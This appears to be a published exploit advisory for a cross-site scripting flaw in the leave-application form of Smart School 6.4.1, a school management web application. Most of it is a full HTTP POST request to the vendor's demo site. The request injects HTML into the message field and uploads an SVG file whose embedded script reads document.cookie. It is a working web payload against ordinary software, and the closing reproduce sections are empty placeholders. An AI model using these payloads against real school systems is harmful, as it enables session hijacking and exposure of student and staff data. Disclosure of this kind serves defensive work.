2023 Mount Carmel School 6.4.1 Cross Site Scripting

Title: 2023-Mount-Carmel-School-6.4.1 XSS-Reflected - User Interaction

Author: nu11secur1ty

Date: 10/14/2023

Vendor: https://smart-school.in/

Software: https://demo.smart-school.in/site/userlogin#

Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected

Description:

The user can manipulate the system by injecting an HTML code into the
system without any restriction.
The function apply_leave is not sanitizing correctly. This could allow
the user to inject this
application by using HTML or Java Script with very malicious purposes etc…

STATUS: HIGH- Vulnerability

[+]Exploit:

POST /user/apply_leave/add HTTP/1.1  
Host: demo.smart-school.in  
Cookie: ci_session=495u2fpup87iml75p4us2uuqgqkpsof9  
Content-Length: 1492  
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundary5wuzslDN9siOCW0K  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132  
Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://demo.smart-school.in  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://demo.smart-school.in/user/apply_leave  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Connection: close

------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="homework_id"

------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="apply_date"

10/14/2023  
------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="from_date"

09/27/2023  
------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="to_date"

09/29/2023  
------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="leave_id"

------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="message"

<a href="https://www.youtube.com/watch?v=yPuC4Cy2ZuI" target="_blank"  
rel="noopener nofollow ugc">  
<img src="https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/chalga-tochilka.gif"  
style="border:1px solid black;max-width:100%;" alt="Photo of Byron  
Bay, one of Australia's best beaches!">  
------WebKitFormBoundary5wuzslDN9siOCW0K  
Content-Disposition: form-data; name="files[]"; filename="kurec.svg"  
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"  
stroke="#004400"/>  
   <script type="text/javascript">  
      alert(document.cookie);  
   </script>  
</svg>

------WebKitFormBoundary5wuzslDN9siOCW0K--

Reproduce:

href

Proof and Exploit:

href

Time spent:

00:37:00